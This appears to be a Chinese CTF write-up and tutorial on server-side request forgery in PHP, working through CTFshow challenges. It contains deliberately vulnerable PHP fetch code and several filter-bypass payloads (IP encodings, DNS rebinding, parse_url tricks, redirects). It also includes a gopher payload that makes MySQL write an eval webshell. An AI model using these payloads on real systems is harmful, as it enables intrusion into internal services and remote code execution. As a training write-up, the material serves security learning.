【SSRF】SSRF小结 & CTFshow SSRF篇

本文最后更新于:2022年3月7日晚上8点28分

什么是SSRF?

该部分摘自CTF Wiki

地址:https://ctf-wiki.org/web/ssrf/

SSRF,Server-Side Request Forgery,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。

漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。

攻击者可以利用 SSRF 实现的攻击主要有 5 种:

  1. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
  2. 攻击运行在内网或本地的应用程序(比如溢出)
  3. 对内网 WEB 应用进行指纹识别,通过访问默认文件实现
  4. 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
  5. 利用 file 协议读取本地文件等

有关SSRF函数介绍

在PHP中,涉及SSRF漏洞的函数如下

1
2
3
curl_exec()
file_get_contents()
fsockopen()

curl_exec()

常见的利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);//设置相应的URL
curl_setopt($ch, CURLOPT_HEADER, 0);//不会将头文件的信息作为数据流输出
curl_exec($ch);//执行给定的 cURL 会话。
curl_close($ch);//关闭 cURL 会话并且释放所有资源。cURL 句柄 ch 也会被删除。
}

$url = $_GET['url'];
curl($url);

访问下方链接结果如下:

1
http://lxxx:8888/ssrf/1.php?url=https://www.baidu.com

image-20220307173127837

file_get_contents()

这个函数就比较常见了,通常利用方式如下:

1
2
3
4
<?php
highlight_file(__FILE__);
$url = $_GET['url'];;
echo file_get_contents($url);

访问下方链接结果如下:

1
http://lxxx:8888/ssrf/1.php?url=https://www.baidu.com

image-20220307173257484

fsockopen()

通常来说,大部分PHP都不会开启fsockopen(),因为利用难度较高

利用代码通常如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
highlight_file(__FILE__);
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp)
{
echo "$errstr (error number $errno) \n";
}
else
{
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp))
{
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
$host = $_GET["host"];
$port = $_GET["port"];
$link = $_GET["link"];
GetFile($host, $port, $link);

image-20220307173711941

SSRF利用演示

该部分文章将使用CTFshow中的SSRF十道题进行分析,分析内容包括各种trick的绕过等等

url可控、无过滤SSRF

题目代码如下:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

本题flag在flag.php中,需要用户从本地访问

image-20220307174515117

在POST中传入url=http://127.0.0.1/flag.php即可

1
2
POSTDATA:
url=http://127.0.0.1/flag.php

句号绕过ip正则

题目的正则如下:

1
2
if($x['scheme']==='http'||$x['scheme']==='https')
if(!preg_match('/localhost|127.0.0/'))

这里过滤了localhost以及127.0.0.1,而我们可以使用句号代替.绕过正则

1
2
POSTDATA
url=http://127001/flag.php

ip进制绕过正则

题目正则如下:

1
2
if($x['scheme']==='http'||$x['scheme']==='https')
if(!preg_match('/localhost|127\.0\.|\。/i', $url))

过滤了句号,这里可以使用ip进制绕过正则

1
2
3
4
<?php
echo ip2long("127.0.0.1");
?>
//2130706433

因此payload为:

1
2
POSTDATA:
url=http://2130706433/flag.php

当然,除了十进制也可以使用8进制和16进制进行绕过

例如:

  • 0300.0250.0.1(8进制192.168.0.1
  • 0xC0.0xA8.0.1(十六进制192.168.0.1
  • 0xC0A80001(十六进制整数192.168.0.1

域名绑定内网ip绕过

题目正则如下:

1
2
if($x['scheme']==='http'||$x['scheme']==='https')
if(!preg_match('/localhost|1|0|。/i', $url))

这里过滤了10,尝试使用域名DNS解析到127.0.0.1进行绕过,当然也可以使用dnslog上给的域名,因为dnslog经过域名服务器解析后返回的ip结果为127.0.0.1

payload为:

1
2
POSTDATA:
url=http://r92nqj.dnslog.cn/flag.php

简写ip简化长度

1
2
3
if($x['scheme']==='http'||$x['scheme']==='https')
$host=$x['host'];
if((strlen($host)<=5))

这里限制host的长度要小于等于5,而本地127.0.0.1可以简写为127.1

因此payload为:

1
url=http://127.1/flag.php
1
2
3
4
5
6
7
8
9
~  ping 127.1
PING 127.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.100 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.198 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.072 ms
^C
--- 127.1 ping statistics ---
3 packets transmitted, 3 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 0.072/0.123/0.198/0.054 ms

当然,这里的长度可以更短,在Linux中ping 0解析为127.0.0.1,在Windows和Mac中ping 0

解析为0.0.0.0

1
2
3
4
5
6
7
8
9
root@iZuf6bc3g3b033kssfaf3Z:~ ping 0
PING 0 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.049 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.043 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.049 ms
^C
--- 0 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2042ms
rtt min/avg/max/mdev = 0.043/0.047/0.049/0.003 ms

30x跳转

302

在自己的vps上面新建一个a.php

1
2
<?php
header("Location:http://127.0.0.1/flag.php");

如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用跳转的方式来进行绕过。

307

和302跳转类似,区别在于307跳转会将POST数据也带过去

DNS重绑定

一个常用的防护思路是:对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就禁止该次请求。

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,可以进行DNS重绑定攻击。

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:

  • 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
  • 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
  • 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
  • 由于已经绕过验证,所以服务器端返回访问内网资源的结果。

当然也有一些在线网站可以完成DNS重绑定,如ceye.io

image-20220307192408686

这样设置以后,用nslookup查询r.abcdef.ceye.io的解析记录,就会有两种结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@iZuf6bc3g3b033kssfaf3Z:~# nslookup r.abcdef.ceye.io
Server: 127.0.0.53
Address: 127.0.0.53#53

Non-authoritative answer:
Name: r.abcdef.ceye.io
Address: 1.1.1.1
** server can't find r.abcdef.ceye.io: NXDOMAIN

root@iZuf6bc3g3b033kssfaf3Z:~# nslookup r.abcdef.ceye.io
Server: 127.0.0.53
Address: 127.0.0.53#53

Non-authoritative answer:
Name: r.abcdef.ceye.io
Address: 127.0.0.1
** server can't find r.abcdef.ceye.io: NXDOMAIN

因此就可以解决下方CTFshow的这一题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>

传payload:

1
url=http://r.abcdef.ceye.io/flag.php

因为是随机事件,拿到flag的概率大约为1/4,多试几次就可以出来了

绕过parse_url

还是直接看CTFshow上的源代码

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}

这里要求经过parse_url解析后的URL,以http://ctf开头,并且以show结尾

show结尾比较好办,可以是GET传参形式?a=show,也可以标签形式#show

而题目中还要求以http://ctf开头,这里就涉及到parse_url的解析问题了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$a = parse_url("http://ctf.@127.0.0.1/flag.php?show");
var_dump($a);
/*
array(5) {
["scheme"]=>
string(4) "http"
["host"]=>
string(9) "127.0.0.1"
["user"]=>
string(4) "ctf."
["path"]=>
string(9) "/flag.php"
["query"]=>
string(4) "show"
}
*/

因此对于这题,payload为:

1
url=http://ctf.@127.0.0.1/flag.php?show

SSRF打无密码MySQL

对于CTFshow中打无密码MySQL,其中往check.php的包如下:

image-20220307201922445

returl处存在SSRF

具体方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 ~ python gopherus.py --exploit mysql

________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/

author: $_SpyD3r_$

For making it work username should not be password protected!!!

Give MySQL username: root
Give query to execute: select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php";

Your gopher link is ready to do SSRF :

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%3b%01%00%00%00%01

-----------Made-by-SpyD3r-----------

将下划线后面的进行二次编码传给returl,访问1.php即可getshell

SSRF打Redis

SSRF对Redis的威胁也是相当大的,具体原理因为笔者能力有限(只会打,不懂原理

这里给一个先知社区的文章,讲解的比较详细

利用IDN绕过

一些网络访问工具如Curl等是支持国际化域名(Internationalized Domain Name,IDN)的,国际化域名又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。

在这些字符中,部分字符会在访问时做一个等价转换,例如 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜexample.com 等同。利用这种方式,可以用 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ 等字符绕过内网限制。

后记

因笔者能力有限,目前只写了关于PHP的SSRF,实际上在Java和Python中也存在相应的SSRF漏洞,之后有能力有时间再补充。

参考资料